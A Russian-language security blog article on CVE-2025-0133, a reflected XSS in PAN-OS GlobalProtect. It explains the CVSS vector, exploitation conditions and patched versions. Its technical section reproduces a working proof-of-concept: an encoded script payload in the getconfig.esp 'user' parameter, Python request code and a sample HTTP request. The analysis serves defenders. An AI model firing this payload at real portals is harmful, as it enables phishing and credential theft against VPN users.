Уязвимость в PAN-OS
Уязвимость в PAN-OS
Категория: Программы Теги: Уязвимости Опубликовано: 24 сентября 2025

Уязвимость BDU:2025-05718 (CVE-2025-0133) PAN-OS

Уязвимость BDU:2025-05718 (CVE-2025-0133) представляет собой отраженную XSS в компонентах GlobalProtect Gateway и Portal операционной системы PAN-OS компании Palo Alto Networks. Она позволяет удаленному злоумышленнику внедрить и выполнить произвольный JavaScript-код в контексте браузера аутентифицированного пользователя Captive Portal при переходе по специально сформированной ссылке. Основной риск связан с фишингом и кражей учетных данных, особенно если включена функция Clientless VPN.

Анализ уязвимости

Уровень опасности: 6.9 (СРЕДНИЙ) по шкале CVSS-B
Вектор атаки: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/

UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/

S:N/AU:N/R:U/V:D/RE:M/U:Amber

Расшифровка вектора атаки:

  • AV:N (Attack Vector: Network) - атака через сеть, удаленно

  • AC:L (Attack Complexity: Low) - низкая сложность атаки

  • AT:N (Attack Requirements: None) - не требуется дополнительных условий для атаки

  • PR:N (Privileges Required: None) - не требуются привилегии

  • UI:N (User Interaction: None) - в метрике указано, что не требуется взаимодействия с пользователем, но для эксплуатации уязвимости пользователь должен перейти по ссылке

  • VC:L (Confidentiality Impact: Low) - ограниченное воздействие на конфиденциальность

  • VI:L (Integrity Impact: Low) - ограниченное воздействие на целостность

  • VA:N (Availability Impact: None) - отсутствие воздействия на доступность

  • SC:N, SI:N, SA:N (Subsequent Confidentiality, Integrity, Availability: None) - последующее воздействие на конфиденциальность, целостность и доступность отсутствует

  • S:N (Safety: None) - безопасность не нарушена

  • AU:N (Automatable: No) - автоматизация невозможна

  • R:U (Recovery: User) - восстановление требует участия пользователя

  • V:D (Value Density: Diffuse) - распределенная ценность активов (компрометация одного компонента не приводит к полной потере ценных данных)

  • RE:M (Response Effort: Moderate) - усилия по реагированию умеренные

  • U:Amber (Urgency: Amber) - срочность средняя

Условия эксплуатации уязвимости

Для успешной эксплуатации уязвимости необходимо соблюдение нескольких условий:

  1. На целевой системе должен быть настроен и включен GlobalProtect Gateway или Portal

  2. Злоумышленник должен иметь возможность заставить аутентифицированного пользователя перейти по специально сформированной ссылке, хотя в метрике указано, что взаимодействие с пользователем не требуется

  3. Пользователь должен быть аутентифицирован в Captive Portal на момент перехода по ссылке

  4. Для полной эксплуатации и кражи учетных данных должна быть включена опция Clientless VPN

Расхождение метрики User Interaction: None и необходимости открыть ссылку пользователем можно объяснить тем, что оценщик мог исходить из того, что после перехода по ссылке никаких дополнительных действий от пользователя (например, подтверждения диалога) не требуется — код выполняется автоматически. Но даже в этом случае сам факт необходимости перехода по ссылке должен классифицироваться как взаимодействие с пользователем.

Технический анализ эксплоита

Рассмотрим код эксплоита для понимания работы вектора атаки с использованием этой уязвимости.

Структура вредоносного URL

Основной механизм атаки заключается в формировании специального URL с XSS-пейлоадом в параметре user:

PAYLOAD_PATH = (
    "/ssl-vpn/getconfig.esp"
    "?client-type=1"
    "&protocol-version=p1"
    "&app-version=3.0.1-10"
    "&clientos=Linux"
    "&os-version=linux-64"
    "&hmac-algo=sha1%2Cmd5"
    "&enc-algo=aes-128-cbc%2Caes-256-cbc"
    "&authcookie=12cea70227d3aafbf25082fac1b6f51d"
    "&portal=us-vpn-gw-N"
    "&user=%3Csvg%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3E%3Cscript%3Eprompt%28%22mitsec%22%29%3C%2Fscript%3E%3C%2Fsvg%3E"
    "&domain=(empty_domain)"
    "&computer=computer"
)

Критически важным элементом является параметр user, содержащий URL-кодированный XSS-пейлоад:

  • Исходный пейлоад: <svg xmlns="http://www.w3.org/2000/svg"><script>prompt("mitsec")</script></svg>

  • URL-кодированная версия: %3Csvg%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3E%3Cscript%3Eprompt%28%22mitsec%22%29%3C%2Fscript%3E%3C%2Fsvg%3E

Анализ функций эксплоита

Функция build_exploit_url формирует полный URL для атаки:

def build_exploit_url(base_url):
    if base_url.endswith("/"):
        base_url = base_url[:-1]
    return base_url + PAYLOAD_PATH

Эта функция гарантирует, что базовый URL и путь к пейлоаду будут корректно соединены без дублирования слэшей.

Функция send_request выполняет непосредственно атаку:

def send_request(url):
    print(f"[+] Sending request to:\n{url}\n")
    try:
        response = requests.get(url, verify=False, timeout=10)
        status = response.status_code
        print(f"[+] Status Code: {status}")

        if status in [403, 401, 500]:
            print("[!] Access denied or server error (possible WAF/protection).")
        elif "prompt(\"mitsec\")" in response.text or "prompt('mitsec')" in response.text:
            print("[✅] XSS payload reflected! Look for prompt box on browser rendering.")
        else:
            print("[~] Payload not directly reflected. Review HTML manually.")

        print("\n--- Response Preview ---")
        print(response.text[:500])

Ключевые аспекты этой функции:

  • verify=False отключает проверку SSL-сертификатов, что позволяет атаковать системы с самоподписанными сертификатами

  • Проверка кодов состояния 403, 401, 500 помогает идентифицировать системы с дополнительной защитой

  • Поиск пейлоада в ответе сервера подтверждает уязвимость

Пример вредоносного HTTP-запроса

Сформированный эксплоитом HTTP-запрос выглядит следующим образом:

GET /ssl-vpn/getconfig.esp?client-type=1&protocol-version=p1&app-version=3.0.1-10&clientos=Linux&os-version=linux-64&hmac-algo=sha1%2Cmd5&enc-algo=aes-128-cbc%2Caes-256-cbc&authcookie=12cea70227d3aafbf25082fac1b6f51d&portal=us-vpn-gw-N&user=%3Csvg%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3E%3Cscript%3Eprompt%28%22mitsec%22%29%3C%2Fscript%3E%3C%2Fsvg%3E&domain=(empty_domain)&computer=computer HTTP/1.1
Host: target.com
User-Agent: python-requests/2.31.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive

Методы защиты

Обновление программного обеспечения

Первоочередная мера - обновление PAN-OS до версий с исправлением уязвимости CVE-2025-0133:

  • PAN-OS 11.2: обновить до 11.2.4-h9 или 11.2.7 и выше

  • PAN-OS 11.1: обновить до 11.1.6-h14 или 11.1.10-h1 и выше

  • PAN-OS 10.2: обновить до 10.2.16-h1 и выше

  • PAN-OS 10.1: обновить до 10.2.16-h1

Алексей Черемных Алексей Черемных
421